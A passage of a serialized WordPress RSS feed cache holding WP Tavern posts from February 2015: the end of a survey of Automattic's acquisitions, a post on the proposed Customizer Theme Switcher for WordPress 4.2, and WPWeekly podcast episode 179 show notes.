rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-966 size-full\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png?resize=212%2C76\" alt=\"BuddyPress Logo\" /></a><a title=\"https://buddypress.org/\" href=\"https://buddypress.org/\">BuddyPress</a> was conceived <a title=\"https://buddypress.org/about/story/\" href=\"https://buddypress.org/about/story/\">in 2008</a> by Andy Peatling and started out as a set of plugins to add social networking features to WordPress MU (multi-user). In March of 2008, Peatling was <a title=\"http://ma.tt/2008/03/backing-buddypress/\" href=\"http://ma.tt/2008/03/backing-buddypress/\">acqui-hired by Automattic</a> and joined the company as an employee. Peatling is not as active in BuddyPress core development, but thanks to John James Jacoby and the community surrounding it, it&#8217;s still an actively developed project. BuddyPress 2.2 <a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">was released in February and </a>features a new member type API and several bug fixes.</p>\n<h2>IntenseDebate</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2326 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png?resize=189%2C43\" alt=\"IntenseDebate Logo\" /></a><a title=\"http://intensedebate.com/home\" href=\"http://intensedebate.com/home\">IntenseDebate</a> is a third-party commenting service that showed a lot of promise of being a premiere service to replace the native commenting system in WordPress. It synced comments from the service to the local database to ensure no comments were lost. The service <a title=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\" href=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\">introduced</a> a <a title=\"http://intensedebate.com/plugins\" href=\"http://intensedebate.com/plugins\">plugin eco-system</a> in 2009, that I think if given more time, would have helped the service fly past the competition. Unfortunately, development on the service came to a halt somewhere <a title=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\" href=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\">between 2012 and 2013</a>.</p>\n<p>IntenseDebate was founded by Isaac Keyet and Jon Fox in 2006 and was <a title=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\" href=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\">acquired by Automattic</a> in 2008.</p>\n<h2>Polldaddy</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-3334\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png?resize=242%2C56\" alt=\"polldaddylogo2\" /></a><a title=\"https://polldaddy.com/\" href=\"https://polldaddy.com/\">Polldaddy</a> is a platform agnostic service that lets users create surveys and polls. Polldaddy was founded in 2006 by David Lenehan in Sligo, Ireland and was <a title=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\" href=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\">acquired by Automattic</a> in 2008. Between 2006 and when the company was acquired, about 1 million polls were created and 195 million votes were collected. At the time of Polldaddy&#8217;s acquisition, Automattic had <a title=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\" href=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\">about 20 employees</a>.</p>\n<h2>Blo.gs</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38873\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png?resize=244%2C90\" alt=\"blogs logo\" /></a><a title=\"http://blo.gs\" href=\"http://blo.gs\">Blog.gs</a> is a directory of recently updated blogs founded in 2002 by Jim Winstead. In 2005, the company was <a title=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\" href=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\">acquired by Yahoo!</a> and in 2009, transferred to Automattic. According to the <a title=\"http://ma.tt/2009/04/blogs-lives-on/\" href=\"http://ma.tt/2009/04/blogs-lives-on/\">announcement</a>, Automattic planned to beef up the service, &#8220;We’re looking forward to beefing up the service and giving it a refresh, while continuing its reputation for reliability.&#8221; The site&#8217;s design hasn&#8217;t changed in years and features like search and ping submissions are broken.</p>\n<h2>After the Deadline</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2512 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png?resize=253%2C60\" alt=\"afterthedeadlinelogo\" /></a><a title=\"http://www.afterthedeadline.com/\" href=\"http://www.afterthedeadline.com/\">After the Deadline</a> is a contextual spell checking service created in 2009 by Raphael Mudge. Out of all the acquisitions Automattic has made, Mudge has <a title=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\" href=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\">one of the best acquisition stories</a> I&#8217;ve read. After <a title=\"http://news.ycombinator.com/item?id=636168\" href=\"http://news.ycombinator.com/item?id=636168\">publishing a comment</a> on a Hacker News article showing off how AtD works, Mullenweg got in touch with Mudge and acquired the company in 2009.</p>\n<p>Mudge stayed with the company for a few years, but moved on to focus his energy on a new passion, <a title=\"http://www.advancedpentest.com/\" href=\"http://www.advancedpentest.com/\">cyber security</a>. AtD is actively developed and is available as <a title=\"http://jetpack.me/support/spelling-and-grammar/\" href=\"http://jetpack.me/support/spelling-and-grammar/\">a module in Jetpack</a>.</p>\n<h2>Plinky</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38875 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png?resize=283%2C127\" alt=\"Plinkylogo\" /></a><a title=\"http://www.plinky.com/\" href=\"http://www.plinky.com/\">Plinky</a> is a service created by Thing Labs that inspired users to write content. Every day Plinky displayed a prompt with a question, idea, or challenge. Writers answered the challenge using the Plinky editor which made it easy to add rich media and send posts to social media services. Plinky was acquired by Automattic in 2010. In 2014, user registration was disabled and the service was placed into archive mode.</p>\n<h2>Code Garage</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-6754 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg?resize=262%2C54\" alt=\"Code Garage Logo\" /></a><a title=\"http://codegarage.com/blog/\" href=\"http://codegarage.com/blog/\">Code Garage</a> provided backups, security scanning, and crisis control for WordPress sites. Customers could monitor 5 websites for $25 a month which was more affordable than VaultPress which charged a flat fee per site. Code Garage was founded in 2010 and <a title=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\" href=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\">acquired by Automattic</a> in 2012.</p>\n<p>In May of 2013, Code Garage <a title=\"http://wptavern.com/code-garage-migrations-are-underway\" href=\"http://wptavern.com/code-garage-migrations-are-underway\">migrated customers</a> to VaultPress and promptly shut the service down in July. As part of the acquisition, Peter Butler, one of the company&#8217;s founders, joined Automattic to work with the VaultPress team.</p>\n<h2>Simperium and Simplenote</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38878\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png?resize=127%2C126\" alt=\"Simperiumlogo\" /></a> <a title=\"https://simperium.com/\" href=\"https://simperium.com/\">Simperium </a>is the creator of <a title=\"http://simplenote.com/\" href=\"http://simplenote.com/\">SimpleNote</a>, a note taking app that is synchronized across platforms. Simperium is a data synchronization service that allows developers to move data everywhere it&#8217;s needed. The company was founded in 2010 and <a title=\"http://ma.tt/2013/01/simplenote-and-simperium/\" href=\"http://ma.tt/2013/01/simplenote-and-simperium/\">acquired by Automattic</a> in 2013.</p>\n<h2>Poster</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-38945\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png?resize=300%2C148\" alt=\"Poster Mobile App\" /></a>Poster was a slick, easy to use, WordPress mobile app for iOS that was founded by <a title=\"http://www.tomwitkin.com/\" href=\"http://www.tomwitkin.com/\">Tom Witkin</a> and <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">acquired in 2013</a>. After the acquisition, the app was removed from the App Store and Witkin joined the mobile team at Automattic.</p>\n<p>Frederic Lardinois, who <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">wrote about the news</a> on TechCrunch, described the app as, &#8220;one of the most elegant and smarter mobile WordPress clients.&#8221; The WordPress mobile apps continue to get better, but it&#8217;s unclear which improvements have been influenced by Witkin or Poster.</p>\n<h2>Lean Domain Search</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7919\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg?resize=259%2C51\" alt=\"Lean Domain Search Logo\" /></a><a title=\"http://www.leandomainsearch.com/\" href=\"http://www.leandomainsearch.com/\">Lean Domain Search </a>is a service that allows users to find and register domain names. One of its signature features is the domain name generator which suggests domains based on a word or phrase. Lean Domain Search was created by Matt Mazur in 2012 and <a title=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\" href=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\">acquired in 2013.</a> When users find a domain they like, Lean Domain Search provides an option to register it and create a new blog on WordPress.com. Thanks to the acquisition, the service is still available and free to use.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png\" rel=\"prettyphoto[38863]\"><img class=\"size-full wp-image-38882\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png?resize=996%2C761\" alt=\"Lean Domain Search Results\" /></a>Lean Domain Search Results\n<p>&nbsp;</p>\n<h2>Cloudup</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-12353 size-thumbnail\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png?resize=150%2C150\" alt=\"cloudup\" /></a><a title=\"https://cloudup.com/\" href=\"https://cloudup.com/\">Cloudup</a> is a free file-sharing service founded by Thianh Lu and Guillermo Rauch in 2010 and <a title=\"http://ma.tt/2013/09/automattic-cloudup/\" href=\"http://ma.tt/2013/09/automattic-cloudup/\">acquired in 2013</a>. <a title=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\" href=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\">According to TechCrunch</a>, the acquisition was supposed to help Automattic improve two particular features on WordPress.com. The media library used for uploading visual content and co-editing to give multiple users the ability to edit a post at the same time.</p>\n<p>Immediately following the deal, the team was tasked with revamping the post editor and replacing the media library on WordPress.com with Cloudup. Although Cloudup has <a title=\"https://cloudup.com/blog\" href=\"https://cloudup.com/blog\">continued to add new features</a>, it has yet to replace the media library or add the ability to edit posts at the same on WordPress.com.</p>\n<h2>Longreads</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-20743\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg?resize=300%2C95\" alt=\"longreads\" /></a><a title=\"http://longreads.com/\" href=\"http://longreads.com/\">Longreads</a> is dedicated to finding and sharing the best long-form stories on the web. Longreads was founded by Mark Armstrong in 2009 and <a title=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\" href=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\">acquired in 2014. </a>Longreads operates under a paid subscription model with plans ranging from $3-5 per month.</p>\n<h2>Scroll Kit</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-21768\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png?resize=300%2C158\" alt=\"scroll-kit\" /></a> <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> allowed users to create web pages without writing a line of code using a powerful visual editor. It made headlines when co-founder, Cody Brown, <a title=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\" href=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\">recreated the famous Snow Fall piece</a> from the New York Times. Brown said he made the replica site in only an hour, &#8220;The New York Times spent hundreds of hours hand-coding &#8216;Snow Fall.&#8217; We made a replica in an hour.&#8221;</p>\n<p>Founded by Kate Ray and Cody Brown, <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> was <a title=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\" href=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\">acquired in 2014</a>. According to an announcement on the <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit website</a>, Ray and Brown joined the WordPress.com product team. Scroll Kit shut down its service and users had three months to export their content. I&#8217;ve never used Scroll Kit, so it&#8217;s hard to determine what improvements are influenced by Ray and Brown. <a title=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\" href=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\">We questioned</a> whether Scroll Kit&#8217;s editor would be added to the theme editing experience on WordPress.com. As a WordPress.com user, I haven&#8217;t noticed any major changes to the theme editing experience since the acquisition.</p>\n<h2>Parka</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7693\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg?resize=228%2C219\" alt=\"Brute Protect Logo\" /></a><a title=\"http://getparka.com/\" href=\"http://getparka.com/\">Parka</a> is the parent company of <a title=\"https://bruteprotect.com/\" href=\"https://bruteprotect.com/\">BruteProtect,</a> a service that provides brute force login protection for thousands of sites. Parka was established in 2013 by Sam Hotchkiss and <a title=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\" href=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\">acquired in 2014. </a>All seven Parka employees joined Automattic and are part of the Jetpack development team.</p>\n<p>As part of the acquisition, <a title=\"https://my.bruteprotect.com/\" href=\"https://my.bruteprotect.com/\">BruteProtect pro</a> services became free to use. BruteProtect is undergoing a transformation as it&#8217;s merged into Jetpack as a module. Merging with Jetpack will give millions of sites free brute force login protection making the web a safer place.</p>\n<h2>Code For The People</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38941 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png?resize=270%2C132\" alt=\"CodeForThePeopleLogo\" /></a><a title=\"http://codeforthepeople.com/\" href=\"http://codeforthepeople.com/\">Code For The People</a> is a WordPress development agency based in the United Kingdom and a long time partner of the <a title=\"http://vip.wordpress.com/\" href=\"http://vip.wordpress.com/\">WordPress.com VIP program</a>. Founded by Simon Dickson and Simon Wheatley, Code For The People was <a title=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\" href=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\">acquired in 2014. </a>All six employees joined Automattic and will help out the VIP team during European hours.</p>\n<p>This acquisition is historic for two reasons. The first is that CTFP is the first WordPress development agency to be acquired by Automattic. Second, CFTP employee John Blackbourn was leading<a title=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\" href=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\"> the development cycle for WordPress 4.1</a> when the acquisition occurred, turning him into an Automattic employee.</p>\n<p>In addition to talent, they also obtained CFTP’s <a href=\"http://babbleplugin.com/\" target=\"_blank\">Babble</a> plugin, an open source multilingual tool, that will continue to be maintained by Automattic. According to <a title=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\" href=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\">TechCrunch</a>, Mullenweg says Babble was a key part of the deal.</p>\n<h2>Thoughts and Observations</h2>\n<p>While going through the list of acquisitions Automattic has made over the years, a few things occurred to me. For all the great talent Automattic has acquired, it&#8217;s difficult to determine an individual&#8217;s influence on WordPress.com products. For instance, as an individual, Tom Witkin created an awesome mobile app for WordPress. Since being acquired, I can&#8217;t tell which improvements in the <a title=\"https://apps.wordpress.org/\" href=\"https://apps.wordpress.org/\">WordPress for iOS app</a> are the result of his work.</p>\n<p>Whether it&#8217;s due to time, difficulty, or other factors, certain items in some of the acquisition announcements have failed to materialize. A good example is the Cloudup acquisition. Nearly two years after the deal happened, WordPress.com and the self-hosted version still lack the ability to co-edit a post at the same time. There&#8217;s also no improvements to the media library I can trace back to the Cloudup team. It&#8217;s unclear if these are items still on the priority list or if they&#8217;ve been discarded.</p>\n<p>Another thing I noticed is that I didn&#8217;t recognize most of the businesses, products, and services acquired until after the acquisition announcement was published. It indicates Mullenweg has his eye on up and coming properties doing awesome things in the space. Unfortunately, in some instances, it means the product or service is shut down by Automattic eliminating any opportunity to use it. Poster, Blo.gs, and Scroll Kit immediately come to mind as things I&#8217;ll never  have the chance to use.</p>\n<p>I hope you enjoyed this trip down memory lane. We&#8217;re at the beginning of a new year and with <a title=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\" href=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\">Automattic raising $160M in 2014</a>, it&#8217;s only a matter of time before we read about the next acquisition. Who or what do you think the company will acquire next?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 03:55:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: Customizer Theme Switcher Officially Proposed for WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38876\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/customizer-theme-switcher-officially-proposed-for-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2720:\"<p>This week, Nick Halsey officially <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">proposed</a> the Customizer Theme Switcher feature plugin for merge into WordPress 4.2. Halsey summarizes the goal of bringing theme switching into the customizer: &#8220;By integrating themes directly into the Customizer, live-previewing workflows are greatly simplified, and the relationship between themes and theme/site options is clarified for the user,&#8221; he said.</p>\n<p>Halsey explained that the new UI is part of a long-term plan to move all the &#8220;Appearance&#8221; functionality into the customizer. &#8220;The future roadmap includes <a href=\"https://wordpress.org/plugins/menu-customizer\">Menus</a>, Theme-Install, and iterations on widgets that would allow the customizer to entirely replace those admin screens for most users,&#8221; he said.</p>\n<p>His proposal includes a video that demonstrates how a user might scroll through the customizer to browse and preview available themes.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>It&#8217;s important to note that if this feature plugin is cleared for merge, users will not have to search for and install themes from the narrow customizer pane. The Customizer Theme Switcher is intended for previewing and activating themes that have already been installed. Contributors on the project are proposing that WordPress 4.2 redirect the &#8220;Themes&#8221; link that appears in the frontend admin bar to the customizer, instead of the backend.</p>\n<p>In the future, Halsey plans to integrate theme installation into the customizer, but this is a larger effort that will be added to the project in a later release. Coming up with a UI that doesn&#8217;t make this a cramped and inconvenient experience is going to be a challenge.</p>\n<p>For more technical details on the proposed core changes and merge implementation, check out Halsey&#8217;s post on the <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">Make/Core blog</a>. If you want to test out the new UI for theme switching, you can download the <a href=\"https://wordpress.org/plugins/customizer-theme-switcher/\" target=\"_blank\">Customizer Theme Switcher</a> plugin from WordPress.org.</p>\n<p>The feature plugin merge window will be closing the week of February 25th, and the official release is <a href=\"https://make.wordpress.org/core/version-4-2-project-schedule/\" target=\"_blank\">targeted for the week of April 22nd</a>. Updates on whether or not the Customizer Theme Switcher is approved for merge will be available within the next few weeks.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 21:04:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"WPTavern: WPWeekly Episode 179 – Interview With James Laws, Co-founder of WP Ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38913&preview_id=38913\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/wpweekly-episode-179-interview-with-james-laws-co-founder-of-wp-ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3285:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the co-founder of <a title=\"http://wpninjas.com/\" href=\"http://wpninjas.com/\">WP Ninjas</a>, <a title=\"http://jameslaws.com/\" href=\"http://jameslaws.com/\">James Laws</a>. WP Ninjas specializes in WordPress plugins such as <a title=\"http://ninjaforms.com/\" href=\"http://ninjaforms.com/\">Ninjas Forms</a> and <a title=\"http://ninjademo.com/\" href=\"http://ninjademo.com/\">Ninja Demo</a>.</p>\n<p>In the show, Laws explains the origins of the business and why he decided to enter the forms market despite GravityForms being a popular choice among WordPress developers. He shares some of the mistakes he made early on such as competing based on price and offering a one time purchase price. Near the end of the interview, we find out what the future holds for both products.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\" href=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\">Initiative Aims to Improve the New User Experience in WordPress 4.2</a><br />\n<a title=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\" href=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\">The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR</a><br />\n<a title=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\" href=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\">WP Rocket Grows From $0 to $35K in Monthly Revenue</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/adminrocket/\" href=\"https://wordpress.org/plugins/adminrocket/\">AdminRocket</a> allows you to customize the WordPress backend with custom themes, dashboard widgets, and your own settings.</p>\n<p><a title=\"https://wordpress.org/plugins/seo-enforcer/\" href=\"https://wordpress.org/plugins/seo-enforcer/\">SEO Enforcer</a> is a small plugin that works with WordPress SEO by Yoast (it&#8217;s required), that will truncate your title or meta description tags if they&#8217;re too long.</p>\n<p><a title=\"https://wordpress.org/plugins/disable-wp-registration-page/\" href=\"https://wordpress.org/plugins/disable-wp-registration-page/\">Disable WP Registration Page</a> disables the default WordPress registration page by redirecting users who access the registration page URL to the default WordPress login page.</p>\n<p><strong>Next Episode:</strong> Wednesday, February 18th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #179:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:13:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	